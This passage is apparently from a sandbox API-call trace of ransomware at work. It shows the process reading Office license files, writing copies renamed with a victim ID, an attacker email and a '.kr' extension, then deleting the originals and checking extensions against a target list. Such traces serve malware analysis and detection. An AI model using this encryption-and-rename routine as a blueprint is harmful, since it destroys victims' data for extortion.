GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.177] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.177] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0205.178] GetLastError () returned 0x0 [0205.178] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bab, lpOverlapped=0x0) returned 1 [0205.298] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0205.299] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.299] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0205.299] SetEndOfFile (hFile=0x36c) returned 1 [0205.300] CloseHandle (hObject=0x36c) returned 1 [0205.300] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.300] SetEndOfFile (hFile=0x3ec) returned 1 [0205.303] CloseHandle (hObject=0x3ec) returned 1 [0205.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 1 [0205.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.304] lstrlenW (lpString=".doc") returned 4 [0205.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.304] lstrlenW (lpString=".docx") returned 5 [0205.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.304] lstrlenW (lpString=".pdf") returned 4 [0205.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.304] lstrlenW (lpString=".xls") returned 4 [0205.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.304] lstrlenW (lpString=".xlsx") returned 5 [0205.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.304] lstrlenW (lpString=".ppt") returned 4 [0205.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.305] lstrlenW (lpString=".zip") returned 4 [0205.305] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString=".rar") returned 4 [0205.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString=".bz2") returned 4 [0205.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString=".7z") returned 3 [0205.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.305] lstrlenW (lpString=".dbf") returned 4 [0205.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.305] lstrlenW (lpString=".1cd") returned 4 [0205.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.305] lstrlenW (lpString=".jpg") returned 4 [0205.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.305] lstrlenW (lpString=".doc") returned 4 [0205.305] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString=".docx") returned 5 [0205.305] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.305] lstrlenW (lpString=".pdf") returned 4 [0205.305] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString=".xls") returned 4 [0205.305] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.305] lstrlenW (lpString=".xlsx") returned 5 [0205.305] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.305] lstrlenW (lpString=".ppt") returned 4 [0205.305] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.306] lstrlenW (lpString=".zip") returned 4 [0205.306] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.306] lstrlenW (lpString=".rar") returned 4 [0205.306] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.306] lstrlenW (lpString=".bz2") returned 4 [0205.306] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.306] lstrlenW (lpString=".7z") returned 3 [0205.306] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.306] lstrlenW (lpString=".dbf") returned 4 [0205.306] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.306] lstrlenW (lpString=".1cd") returned 4 [0205.306] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0205.306] lstrlenW (lpString=".jpg") returned 4 [0205.306] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.306] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.306] lstrlenW (lpString="O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 36 [0205.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.307] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11630) returned 1 [0205.307] CloseHandle (hObject=0x3ec) returned 1 [0205.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 0x220 [0205.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.308] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.308] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0205.309] GetLastError () returned 0x0 [0205.309] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0205.363] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0205.364] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.364] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11c, lpOverlapped=0x0) returned 1 [0205.364] SetEndOfFile (hFile=0x36c) returned 1 [0205.371] CloseHandle (hObject=0x36c) returned 1 [0205.391] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.391] SetEndOfFile (hFile=0x3ec) returned 1 [0205.395] CloseHandle (hObject=0x3ec) returned 1 [0205.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 1 [0205.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.397] lstrlenW (lpString=".doc") returned 4 [0205.397] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.397] lstrlenW (lpString=".docx") returned 5 [0205.397] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.397] lstrlenW (lpString=".pdf") returned 4 [0205.397] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.397] lstrlenW (lpString=".xls") returned 4 [0205.397] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.397] lstrlenW (lpString=".xlsx") returned 5 [0205.397] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.397] lstrlenW (lpString=".ppt") returned 4 [0205.397] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.397] lstrlenW (lpString=".zip") returned 4 [0205.397] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.397] lstrlenW (lpString=".rar") returned 4 [0205.397] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.397] lstrlenW (lpString=".bz2") returned 4 [0205.397] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.397] lstrlenW (lpString=".7z") returned 3 [0205.397] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.397] lstrlenW (lpString=".dbf") returned 4 [0205.398] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.398] lstrlenW (lpString=".1cd") returned 4 [0205.398] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.398] lstrlenW (lpString=".jpg") returned 4 [0205.398] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.398] lstrlenW (lpString=".doc") returned 4 [0205.398] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString=".docx") returned 5 [0205.398] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.398] lstrlenW (lpString=".pdf") returned 4 [0205.398] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString=".xls") returned 4 [0205.398] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString=".xlsx") returned 5 [0205.398] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.398] lstrlenW (lpString=".ppt") returned 4 [0205.398] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.398] lstrlenW (lpString=".zip") returned 4 [0205.398] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString=".rar") returned 4 [0205.398] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString=".bz2") returned 4 [0205.398] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.398] lstrlenW (lpString=".7z") returned 3 [0205.398] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.398] lstrlenW (lpString=".dbf") returned 4 [0205.399] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.399] lstrlenW (lpString=".1cd") returned 4 [0205.399] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0205.399] lstrlenW (lpString=".jpg") returned 4 [0205.399] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.399] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.399] lstrlenW (lpString="O365ProPlusR_SubTrial3-pl.xrm-ms") returned 32 [0205.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.400] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11179) returned 1 [0205.400] CloseHandle (hObject=0x3ec) returned 1 [0205.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 0x220 [0205.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.400] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.400] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0205.401] GetLastError () returned 0x0 [0205.401] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bab, lpOverlapped=0x0) returned 1 [0205.684] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0205.850] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.850] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0205.850] SetEndOfFile (hFile=0x550) returned 1 [0205.850] CloseHandle (hObject=0x550) returned 1 [0205.850] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.850] SetEndOfFile (hFile=0x3ec) returned 1 [0205.856] CloseHandle (hObject=0x3ec) returned 1 [0205.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 1 [0205.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.858] lstrlenW (lpString=".doc") returned 4 [0205.858] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.858] lstrlenW (lpString=".docx") returned 5 [0205.858] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.858] lstrlenW (lpString=".pdf") returned 4 [0205.858] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.858] lstrlenW (lpString=".xls") returned 4 [0205.858] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.858] lstrlenW (lpString=".xlsx") returned 5 [0205.858] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.858] lstrlenW (lpString=".ppt") returned 4 [0205.858] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.858] lstrlenW (lpString=".zip") returned 4 [0205.858] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.858] lstrlenW (lpString=".rar") returned 4 [0205.859] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString=".bz2") returned 4 [0205.859] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString=".7z") returned 3 [0205.859] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.859] lstrlenW (lpString=".dbf") returned 4 [0205.859] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.859] lstrlenW (lpString=".1cd") returned 4 [0205.859] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.859] lstrlenW (lpString=".jpg") returned 4 [0205.859] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.859] lstrlenW (lpString=".doc") returned 4 [0205.859] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString=".docx") returned 5 [0205.859] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.859] lstrlenW (lpString=".pdf") returned 4 [0205.859] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString=".xls") returned 4 [0205.859] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString=".xlsx") returned 5 [0205.859] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.859] lstrlenW (lpString=".ppt") returned 4 [0205.859] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.859] lstrlenW (lpString=".zip") returned 4 [0205.859] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.859] lstrlenW (lpString=".rar") returned 4 [0205.860] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.860] lstrlenW (lpString=".bz2") returned 4 [0205.860] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.860] lstrlenW (lpString=".7z") returned 3 [0205.860] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.860] lstrlenW (lpString=".dbf") returned 4 [0205.860] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.860] lstrlenW (lpString=".1cd") returned 4 [0205.860] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0205.860] lstrlenW (lpString=".jpg") returned 4 [0205.860] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.860] 